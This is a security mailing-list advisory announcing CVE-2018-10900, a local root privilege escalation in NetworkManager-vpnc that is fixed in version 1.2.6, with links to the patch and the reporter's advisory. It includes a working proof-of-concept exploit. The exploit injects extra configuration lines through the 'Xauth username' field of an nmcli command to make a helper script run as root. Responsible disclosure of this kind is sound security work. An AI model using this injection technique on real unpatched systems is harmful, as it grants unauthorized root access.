[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 20 Jul 2018 11:38:39 +0200
From: Lubomir Rintel <lkundrak@...sk>
To: oss-security@...ts.openwall.com
Subject: CVE-2018-10900: NetworkManager-vpnc-1.2.4 local privilege escalation
Hi,
NetworkManager-vpnc-1.2.6 fixes a local authenticated root bug.
The bug was responsibly disclosed to us by Denis Andzakovic. Please
credit him if you issue an advisory for a product that ships the
affected code. His original advisory should be available soon at
https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc
CVE Number: CVE-2018-10900
Original Report (will be available soon):
https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc
Patch:
https://gitlab.gnome.org/GNOME/NetworkManager-vpnc/commit/07ac18a32b4
Release Notes:
https://download.gnome.org/sources/NetworkManager-vpnc/1.2/NetworkManager-vpnc-1.2.6.news
Patched Version:
https://download.gnome.org/sources/NetworkManager-vpnc/1.2/NetworkManager-vpnc-1.2.6.tar.xz
The exploit code for QA and documentation purposes follows:
cat <<EOF >/tmp/helper
#!/bin/bash
id >/tmp/pwned
EOF
chmod +x /tmp/helper
nmcli c add con-name poc type vpn ifname '*' vpn-type vpnc \
+vpn.data "IKE DH Group = dh2" \
+vpn.data "IPSec ID = bar" \
+vpn.data "IPSec gateway = 127.0.0.1" \
+vpn.data "IPSec secret-flags = 4" \
+vpn.data "Local Port = 0" \
+vpn.data "NAT Traversal Mode = natt" \
+vpn.data "Perfect Forward Secrecy = server" \
+vpn.data "Vendor = cisco" \
+vpn.data "Xauth password-flags = 4" \
+vpn.data "Xauth username = foo$(echo; echo Password helper
/tmp/helper)" \
+vpn.data "ipsec-secret-type = save" \
+vpn.data "xauth-password-type = save"
nmcli c up poc
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:vpnc_t:s0
Take care,
Lubo
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
